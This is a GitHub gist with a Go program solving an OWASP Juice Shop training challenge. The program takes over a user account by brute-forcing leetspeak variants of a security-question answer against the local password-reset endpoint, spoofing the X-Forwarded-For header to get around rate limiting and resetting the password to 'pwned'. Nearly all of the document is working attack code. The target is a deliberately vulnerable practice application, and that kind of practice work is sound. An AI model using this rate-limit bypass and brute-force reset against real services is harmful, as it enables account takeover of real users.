-
-
Save dovys/1280a438d6a408f35bf7db2c65b6f73a to your computer and use it in GitHub Desktop.
Solution for OWASP Juice Shop challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"fmt" | |
"io/ioutil" | |
"net/http" | |
"os" | |
"strconv" | |
"strings" | |
"unicode" | |
) | |
// Solution for OWASP Juice Shop challenge | |
// 'Reset Morty's password via the Forgot Password mechanism with his obfuscated answer to his security question.' | |
// https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/part2/broken-anti-automation.html | |
const seed = "snowball" // "snuffles" | |
func main() { | |
g := newGuesser(seed) | |
c := newChecker(&http.Client{}) | |
attempts := 0 | |
for guess := g.get(); guess != ""; guess = g.get() { | |
ok := c.send(guess) | |
if ok { | |
fmt.Printf("\nSuccess! %s", guess) | |
os.Exit(0) | |
} | |
attempts++ | |
fmt.Printf("\r%s Attempt: %d", guess, attempts) | |
} | |
fmt.Println() | |
os.Exit(1) | |
} | |
type checker struct { | |
fakeIP string | |
client *http.Client | |
} | |
func newChecker(client *http.Client) *checker { | |
return &checker{ | |
fakeIP: "0.0.0.0", | |
client: client, | |
} | |
} | |
func (c *checker) send(guess string) bool { | |
url := "http://localhost:3000/rest/user/reset-password" | |
jsonStr := fmt.Sprintf(`{"email":"[email protected]","answer":"%s","new":"pwned","repeat":"pwned"}`, guess) | |
req, _ := http.NewRequest("POST", url, bytes.NewBuffer([]byte(jsonStr))) | |
req.Header.Add("Content-Type", `application/json`) | |
req.Header.Add("X-User-Email", `[email protected]`) | |
req.Header.Add("X-Forwarded-For", c.fakeIP) | |
resp, _ := c.client.Do(req) | |
body, _ := ioutil.ReadAll(resp.Body) | |
attempts, _ := strconv.Atoi(resp.Header["X-Ratelimit-Remaining"][0]) | |
if attempts < 5 { | |
c.fakeIP = c.newIP() | |
} | |
return string(body) != "Wrong answer to security question." | |
} | |
func (c *checker) newIP() string { | |
parts := strings.Split(c.fakeIP, ".") | |
final, _ := strconv.Atoi(parts[3]) | |
if final > 254 { | |
panic("no more ips") | |
} | |
parts[3] = strconv.Itoa(final + 1) | |
return strings.Join(parts, ".") | |
} | |
var subs = map[rune]rune{ | |
'a': '4', | |
'b': '8', | |
'e': '3', | |
'l': '1', | |
'o': '0', | |
's': '5', | |
't': '7', | |
'z': '2', | |
} | |
type guesser struct { | |
seed string | |
variants []string | |
idx int | |
} | |
func newGuesser(seed string) *guesser { | |
l := &guesser{ | |
seed: strings.ToLower(seed), | |
} | |
l.generate() | |
return l | |
} | |
func (g *guesser) generate() { | |
var gen func(s string, idx int) []string | |
gen = func(s string, idx int) []string { | |
if idx == len(s) { | |
return []string{s} | |
} | |
r := []rune(s) | |
c := []rune{unicode.ToUpper(r[idx])} | |
if sub, ok := subs[r[idx]]; ok { | |
c = append(c, sub) | |
} | |
result := gen(s, idx+1) | |
for _, sub := range c { | |
r[idx] = sub | |
result = append(result, gen(string(r), idx+1)...) | |
} | |
return result | |
} | |
g.variants = gen(g.seed, 0) | |
} | |
func (g *guesser) get() string { | |
if g.idx < len(g.variants) { | |
res := g.variants[g.idx] | |
g.idx += 1 | |
return res | |
} | |
return "" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment